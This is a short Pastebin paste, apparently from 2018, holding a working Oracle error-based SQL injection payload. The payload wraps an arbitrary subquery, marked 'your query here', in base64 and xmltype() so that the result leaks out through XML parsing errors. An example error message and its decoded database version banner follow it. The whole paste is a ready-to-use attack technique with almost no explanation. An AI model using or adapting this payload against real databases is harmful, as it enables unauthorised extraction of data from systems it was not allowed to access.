Guest User

Untitled

a guest
Apr 25th, 2018
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. /*
  2. * @description: Optimized Oracle error-based SQLi via xmltype() + base64 (up to 162 bytes/req)
  3. * @author: xassiz
  4. */
  5.  
  6. select ''||
  7. xmltype('<'||
  8. regexp_replace(
  9. utl_raw.cast_to_varchar2(
  10. utl_encode.base64_encode(
  11. utl_raw.cast_to_raw(
  12. (select banner from v$version where banner like 'Oracle%') --> your query here
  13. )
  14. )
  15. )
  16. ||':x>',
  17. chr(10)||'|'||chr(13)||'|=','')
  18. )
  19. ||'' from dual
  20.  
  21.  
  22. /*
  23.  
  24. Example:
  25.  
  26. ORA-19202: Error occurred in XML processing LPX-00234: namespace prefix "T3JhY2xlIERhdGFiYXNlIDExZyBFe
  27. | HByZXNzIEVkaXRpb24gUmVsZWFzZSAxMS4yLjAuMi4wIC0gNjRiaXQgUHJvZHVjdGlvbg" is not declared
  28. |
  29. \
  30. \--> base64_decode() = 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production'
  31.  
  32. */
Add Comment
Please, Sign In to add comment